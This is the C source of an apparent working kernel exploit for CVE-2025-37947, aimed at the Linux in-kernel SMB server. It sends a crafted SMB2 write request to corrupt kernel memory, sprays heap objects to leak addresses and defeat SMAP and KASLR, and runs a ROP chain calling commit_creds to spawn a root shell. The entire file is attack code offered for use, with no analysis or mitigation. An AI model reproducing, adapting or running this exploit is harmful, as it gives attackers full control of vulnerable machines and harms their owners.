CVE-2025-37947.c

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <smb2/smb2.h>
#include <smb2/libsmb2.h>

/* Constants */

#define SMB_SERVER "127.0.0.1"
#define SMB_SHARE "share"
#define SMB_USER "smbuser"
#define SMB_PASS "smbpassword"
#define FILE_PATH "1337:"

#define OFFSET_TREE_ID 40
#define OFFSET_SESSION 44
#define FILE_ID_OFFSET (68 + 16)

static const uint16_t structure_size_wr = 49;
static const uint16_t data_offset = 248;
static const uint32_t length_wr = 2;
static const uint64_t file_offset = 0x0000010000ULL;
static const uint64_t persistent_file_id = 3;
static const uint64_t volatile_file_id = 0;
static const uint32_t channel = 0;
static const uint32_t remaining_bytes = 0;
static const uint16_t write_chan_info_offset = 0;
static const uint16_t write_chan_info_length = 0;
static const uint32_t flags_wr = 0;

static const char buffer_data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
                                  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
                                  "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
                                  "\x00\x50\xaa\xaa\xaa\xaa\xaa\xaa"
                                  "\xbb\xbb";

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) /* 8 bytes */

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

#define ANON_PIPE_BUF_OPS (kslide + 0x1242700)

#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256

#define NUM_MSQIDS_TO_KEEP 8100
#define NUM_MSQIDS 8192

/* ROP Gadgets */

/* 0xffffffff81c2d936 : push rsi ; and ah, ch ; jmp qword ptr [rsi + 0x41] */
#define PUSH_RSI_JMP_RSI_41 (kslide + 0xffffffff81c2d936)

/* 0xffffffff811d1e2b : pop rsp ; ret */
#define POP_RSP_RET (kslide + 0xffffffff811d1e2b)

/* 0xffffffff811ac684 : pop rax ; pop rbx ; ret */
#define POP_RAX_POP_RBX_RET (kslide + 0xffffffff811ac684)

/* 0xffffffff810b2300 : pop rdi ; ret */
#define POP_RDI_RET (kslide + 0xffffffff810b2300)

#define PREPARE_KERNEL_CRED (kslide + 0xffffffff810f72d0)
#define COMMIT_CREDS (kslide + 0xffffffff810f7000)
#define KPTI_TRAMPOLINE (kslide + 0xffffffff81e011a6)

/* Globals */

unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long user_rip;

uint64_t text_section_without_aslr = 0xffffffff81000000;
uint64_t kslide = 0;

/* Structures */

struct msg_msg {
    uint64_t m_list_next;
    uint64_t m_list_prev;
    uint64_t m_type;
    uint64_t m_ts;
    uint64_t next;
    uint64_t security;
};

struct msg_msgseg {
    uint64_t next;
};

struct pipe_buffer {
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops;
    uint32_t flags;
    uint32_t pad;
    uint64_t private;
};

struct pipe_buf_operations {
    uint64_t confirm;
    uint64_t release;
    uint64_t steal;
    uint64_t get;
};

/* Message payload templates */

struct {
    long mtype;
    char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
    long mtype;
    char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
    long mtype;
    char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

/* Helpers */

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
    msg->m_list_next = m_list_next;
    msg->m_list_prev = m_list_prev;
    msg->m_type = MTYPE_FAKE;
    msg->m_ts = m_ts;
    msg->next = next;
    msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
    *(long *)msgp = msgtyp;
    if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
        perror("[-] msgsnd");
        return -1;
    }
    return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp,
               MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (write(ss[i][0], buf, size) < 0) {
                perror("[-] write");
                return -1;
            }
        }
    }
    return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (read(ss[i][1], buf, size) < 0) {
                perror("[-] read");
                return -1;
            }
        }
    }
    return 0;
}

/* Return to userland and spawn a root shell */

void exec_shell(void) {
    puts("[*] Returned to userland");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
    perror("execve");
}

/* Save state and set user_rip to exec_shell() */

static inline void save_state(void) {
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax;");
    user_rip = (unsigned long)exec_shell;
    puts("[*] Saved state");
}

/* ROP Chain Builder */

/* Note: Must not touch offset 0x10-0x18. */
void build_krop(char *buf) {
    uint64_t *rop;

    *(uint64_t *)&buf[0x00] = POP_RAX_POP_RBX_RET;
    rop = (uint64_t *)&buf[0x8 * 3];

    *rop++ = POP_RDI_RET;
    *rop++ = 0;
    *rop++ = PREPARE_KERNEL_CRED;
    *rop++ = COMMIT_CREDS;
    *rop++ = POP_RAX_POP_RBX_RET;

    rop++; /* skip */
    rop++; /* skip */

    *rop++ = KPTI_TRAMPOLINE;
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = user_rip;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;
    *rop++ = 0xdeadbeefcafebabe;
}

static void hexdump(const void *buf, size_t len) {
    const unsigned char *p = buf;
    for (size_t i = 0; i < len; i++)
        printf("%02x", p[i]);
    printf("\n");
}

/* SMB Write Request Preparation */

struct prepared_req {
    struct smb2_context *smb2;
    struct smb2fh *fh;
    int sockfd_dup;
    uint8_t *packet;
    size_t total_len;
};

int prepare_write_request(struct prepared_req *out) {
    if (!out)
        return -1;
    memset(out, 0, sizeof(*out));

    struct smb2_context *smb2 = smb2_init_context();
    if (!smb2) {
        fprintf(stderr, "smb2_init_context failed\n");
        return -1;
    }

    smb2_set_user(smb2, SMB_USER);
    smb2_set_password(smb2, SMB_PASS);
    smb2_set_security_mode(smb2, SMB2_NEGOTIATE_SIGNING_ENABLED);

    if (smb2_connect_share(smb2, SMB_SERVER, SMB_SHARE, SMB_USER) != 0) {
        fprintf(stderr, "connect failed: %s\n", smb2_get_error(smb2));
        smb2_destroy_context(smb2);
        return -1;
    }

    uint64_t session_id = 0;
    uint32_t tree_id = 0;
    smb2_get_session_id(smb2, &session_id);
    smb2_get_tree_id_for_pdu(smb2, NULL, &tree_id);

    struct smb2fh *fh = smb2_open(smb2, FILE_PATH, O_WRONLY | O_CREAT);
    if (!fh) {
        fprintf(stderr, "open failed: %s\n", smb2_get_error(smb2));
        smb2_disconnect_share(smb2);
        smb2_destroy_context(smb2);
        return -1;
    }

    const uint8_t *fid = *smb2_get_file_id(fh);
    if (!fid) {
        fprintf(stderr, "get_file_id failed\n");
        smb2_close(smb2, fh);
        smb2_disconnect_share(smb2);
        smb2_destroy_context(smb2);
        return -1;
    }

    uint8_t file_id_raw[16];
    memcpy(file_id_raw, fid, 16);

    /* Craft packet */
    size_t payload_len =
        2 + 2 + 4 + 8 + 8 + 8 + 4 + 4 + 2 + 2 + 4 + sizeof(buffer_data) - 1;
    size_t header_len = 4 + 64;
    size_t total_len = header_len + payload_len;

    uint8_t *packet = calloc(1, total_len);
    if (!packet) {
        perror("calloc");
        smb2_close(smb2, fh);
        smb2_disconnect_share(smb2);
        smb2_destroy_context(smb2);
        return -1;
    }

    uint32_t netbios_len = htonl(header_len + payload_len - 4);
    memcpy(packet, &netbios_len, 4);

    const uint8_t smb2_header_template[64] = {
        0xfe, 0x53, 0x4d, 0x42, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x09, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             /* tree_id later */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* session_id later */
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    memcpy(packet + 4, smb2_header_template, 64);

    size_t off = 4 + 64;
    memcpy(packet + off, &structure_size_wr, 2);
    off += 2;
    memcpy(packet + off, &data_offset, 2);
    off += 2;
    memcpy(packet + off, &length_wr, 4);
    off += 4;
    memcpy(packet + off, &file_offset, 8);
    off += 8;
    memcpy(packet + off, &persistent_file_id, 8);
    off += 8;
    memcpy(packet + off, &volatile_file_id, 8);
    off += 8;
    memcpy(packet + off, &channel, 4);
    off += 4;
    memcpy(packet + off, &remaining_bytes, 4);
    off += 4;
    memcpy(packet + off, &write_chan_info_offset, 2);
    off += 2;
    memcpy(packet + off, &write_chan_info_length, 2);
    off += 2;
    memcpy(packet + off, &flags_wr, 4);
    off += 4;
    memcpy(packet + off, buffer_data, sizeof(buffer_data) - 1);

    /* Patch dynamic fields */
    memcpy(packet + OFFSET_TREE_ID, &tree_id, 4);
    memcpy(packet + OFFSET_SESSION, &session_id, 8);
    memcpy(packet + FILE_ID_OFFSET, file_id_raw, 16);

    /* Duplicate socket */
    int sockfd_dup = dup(smb2_get_fd(smb2));
    if (sockfd_dup < 0) {
        perror("dup");
        free(packet);
        smb2_close(smb2, fh);
        smb2_disconnect_share(smb2);
        smb2_destroy_context(smb2);
        return -1;
    }

    int fl = fcntl(sockfd_dup, F_GETFL, 0);
    if (fl >= 0)
        fcntl(sockfd_dup, F_SETFL, fl & ~O_NONBLOCK);

    out->smb2 = smb2;
    out->fh = fh;
    out->sockfd_dup = sockfd_dup;
    out->packet = packet;
    out->total_len = total_len;
    return 0;
}

ssize_t send_prepared_request(const struct prepared_req *req, int verbose) {
    if (!req || !req->packet) {
        errno = EINVAL;
        return -1;
    }
    if (verbose) {
        printf("[*] Sending packet (%zu bytes):\n", req->total_len);
        hexdump(req->packet, req->total_len);
    }
    ssize_t sent = send(req->sockfd_dup, req->packet, req->total_len, 0);
    if (sent < 0)
        perror("send");
    return sent;
}

void free_prepared_request(struct prepared_req *req) {
    if (!req)
        return;
    if (req->packet) {
        free(req->packet);
        req->packet = NULL;
    }
    if (req->sockfd_dup >= 0) {
        close(req->sockfd_dup);
        req->sockfd_dup = -1;
    }
    if (req->smb2 && req->fh) {
        smb2_close(req->smb2, req->fh);
        req->fh = NULL;
    }
    if (req->smb2) {
        smb2_disconnect_share(req->smb2);
        smb2_destroy_context(req->smb2);
        req->smb2 = NULL;
    }
}

int main(int argc, char *argv[]) {
    int try = 0;

    int s;
    int ss[NUM_SOCKETS][2];
    int pipefd[NUM_PIPEFDS][2];
    int msqid[NUM_MSQIDS];

    char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
    char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

    struct msg_msg *msg;
    struct pipe_buf_operations *ops;
    struct pipe_buffer *buf;

    uint64_t pipe_buffer_ops = 0;
    uint64_t kheap_addr = 0, kbase_addr = 0;

    int fake_idx = -1, real_idx = -1;

    save_state();

    printf("[+] STAGE 0: Initialization\n");
    printf("[*] Initializing sockets and message queues...\n");

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("[-] socket");
        goto err_no_rmid;
    }

    for (int i = 0; i < NUM_SOCKETS; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
            perror("[-] socketpair");
            goto err_no_rmid;
        }
    }

retry:
    printf("[ ] Attempt: %d\n", try++);
    for (int i = 0; i < NUM_MSQIDS; i++) {
        if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
            perror("[-] msgget");
            goto err_no_rmid;
        }
    }

    printf("\n");
    printf("[+] STAGE 1: Memory corruption\n");

    printf("[*] Spraying primary messages...\n");
    for (int i = 0; i < NUM_MSQIDS; i++) {
        memset(&msg_primary, 0, sizeof(msg_primary));
        *(int *)&msg_primary.mtext[0] = MSG_TAG;
        *(int *)&msg_primary.mtext[4] = i;
        if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary),
                      MTYPE_PRIMARY) < 0)
            goto err_rmid;
    }

    printf("[*] Spraying secondary messages...\n");
    for (int i = 0; i < NUM_MSQIDS; i++) {
        memset(&msg_secondary, 0, sizeof(msg_secondary));
        *(int *)&msg_secondary.mtext[0] = MSG_TAG;
        *(int *)&msg_secondary.mtext[4] = i;
        if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
                      MTYPE_SECONDARY) < 0)
            goto err_rmid;
    }

    printf("[*] Creating holes in primary messages...\n");
    for (int i = NUM_MSQIDS_TO_KEEP; i < NUM_MSQIDS; i++) {
        if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary),
                     MTYPE_PRIMARY) < 0)
            goto err_rmid;
    }

    printf("[*] Triggering out-of-bounds write...\n");
    struct prepared_req req = {0};
    if (prepare_write_request(&req) != 0) {
        fprintf(stderr, "prepare_write_request failed\n");
        return 1;
    }
    send_prepared_request(&req, 0);

    printf("[*] Searching for corrupted primary message...\n");
    for (int i = 0; i < NUM_MSQIDS_TO_KEEP; i++) {
        if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
            goto err_no_rmid;
        if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
            printf("[-] Error could not corrupt any primary message.\n");
            goto err_no_rmid;
        }
        if (*(int *)&msg_secondary.mtext[4] != i) {
            fake_idx = i;
            real_idx = *(int *)&msg_secondary.mtext[4];
            break;
        }
    }

    if (fake_idx == -1 && real_idx == -1) {
        printf("[-] Error could not corrupt any primary message.\n");
        goto err_rmid;
    }

    printf("[+] fake_idx: %x\n", fake_idx);
    printf("[+] real_idx: %x\n", real_idx);

    printf("\n");
    printf("[+] STAGE 2: SMAP bypass\n");

    printf("[*] Freeing real secondary message...\n");
    if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
                 MTYPE_SECONDARY) < 0)
        goto err_rmid;

    printf("[*] Spraying fake secondary messages...\n");
    memset(secondary_buf, 0, sizeof(secondary_buf));
    build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                  PAGE_SIZE - MSG_MSG_SIZE, 0);
    if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
        goto err_rmid;

    printf("[*] Leaking adjacent secondary message...\n");
    if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
        goto err_rmid;

    if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
        printf("[-] Error could not leak adjacent secondary message.\n");
        goto err_rmid;
    }

    msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
    kheap_addr = msg->m_list_next;
    if (kheap_addr & (PRIMARY_SIZE - 1))
        kheap_addr = msg->m_list_prev;
    printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

    if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
        printf("[-] Error kernel heap address is incorrect.\n");
        goto err_rmid;
    }

    printf("[*] Freeing fake secondary messages...\n");
    free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

    printf("[*] Spraying fake secondary messages...\n");
    memset(secondary_buf, 0, sizeof(secondary_buf));
    build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                  sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
    if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
        goto err_rmid;

    printf("[*] Leaking primary message...\n");
    if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
        goto err_rmid;

    if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
        printf("[-] Error could not leak primary message.\n");
        goto err_rmid;
    }

    msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
    kheap_addr = msg->m_list_next;
    if (kheap_addr & (SECONDARY_SIZE - 1))
        kheap_addr = msg->m_list_prev;

    kheap_addr -= SECONDARY_SIZE;
    printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

    if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
        printf("[-] Error kernel heap address is incorrect.\n");
        goto err_rmid;
    }

    printf("\n");
    printf("[+] STAGE 3: KASLR bypass\n");

    printf("[*] Freeing fake secondary messages...\n");
    free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

    printf("[*] Spraying fake secondary messages...\n");
    memset(secondary_buf, 0, sizeof(secondary_buf));
    build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
    if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
        goto err_rmid;

    printf("[*] Freeing sk_buff data buffer...\n");
    if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
        goto err_rmid;

    printf("[*] Spraying pipe_buffer objects...\n");
    for (int i = 0; i < NUM_PIPEFDS; i++) {
        if (pipe(pipefd[i]) < 0) {
            perror("[-] pipe");
            goto err_rmid;
        }
        if (write(pipefd[i][1], "pwn", 3) < 0) {
            perror("[-] write");
            goto err_rmid;
        }
    }

    printf("[*] Leaking and freeing pipe_buffer object...\n");
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
                perror("[-] read");
                goto err_rmid;
            }
            if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
                pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
        }
    }

    kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
    printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
    printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

    kslide = kbase_addr;
    kslide -= text_section_without_aslr;
    printf("[+] leaked kslide: %" PRIx64 "\n", kslide);

    printf("\n");
    printf("[+] STAGE 4: Kernel code execution\n");

    memset(secondary_buf, 0xcc, sizeof(secondary_buf));
    buf = (struct pipe_buffer *)&secondary_buf;
    buf->ops = kheap_addr + 0x200;
    ops = (struct pipe_buf_operations *)&secondary_buf[0x200];

    ops->release = PUSH_RSI_JMP_RSI_41;
    *((uint64_t *)&secondary_buf[0x41]) = POP_RSP_RET;

    build_krop(secondary_buf);

    if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
        goto err_rmid;

    printf("[*] Releasing pipe_buffer objects...\n");
    for (int i = 0; i < NUM_PIPEFDS; i++) {
        if (close(pipefd[i][0]) < 0) {
            perror("[-] close");
            goto err_rmid;
        }
        if (close(pipefd[i][1]) < 0) {
            perror("[-] close");
            goto err_rmid;
        }
    }

err_rmid:
    for (int i = 0; i < NUM_MSQIDS; i++) {
        if (i == fake_idx)
            continue;
        if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
            perror("[-] msgctl");
    }
    free_prepared_request(&req);
    usleep(100000);
    goto retry;

err_no_rmid:
    return 1;
}